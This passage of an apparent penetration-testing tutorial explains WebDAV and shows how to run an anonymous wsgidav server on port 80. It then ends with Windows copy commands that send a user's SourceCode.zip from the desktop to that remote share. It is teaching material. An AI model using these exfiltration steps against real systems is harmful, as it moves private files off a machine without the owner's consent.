An alternative is to run SMB over HTTP with WebDav. WebDAV (RFC 4918) is an extension of HTTP, the internet protocol that web browsers and web servers use to communicate with each other. The WebDAV protocol enables a webserver to behave like a fileserver, supporting collaborative content authoring. WebDAV can also use HTTPS.
To set up our WebDav server, we need to install two Python modules, wsgidav and cheroot (you can read more about this implementation here: wsgidav github). After installing them, we run the wsgidav application in the target directory.
sudo pip3 install wsgidav cheroot
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
Now we can attempt to connect to the share using the DavWWWRoot directory.
dir \\\\192.168.49.128\\DavWWWRoot
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DavWWWRoot is a special keyword recognized by the Windows Shell. No such folder exists on your WebDAV server. The DavWWWRoot keyword tells the Mini-Redirector driver, which handles WebDAV requests that you are connecting to the root of the WebDAV server.
You can avoid using this keyword if you specify a folder that exists on your server when connecting to the server. For example: \192.168.49.128\sharefolder
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copy C:\\Users\\john\\Desktop\\SourceCode.zip \\\\192.168.49.129\\DavWWWRoot\\
copy C:\\Users\\john\\Desktop\\SourceCode.zip \\\\192.168.49.129\\sharefolder\\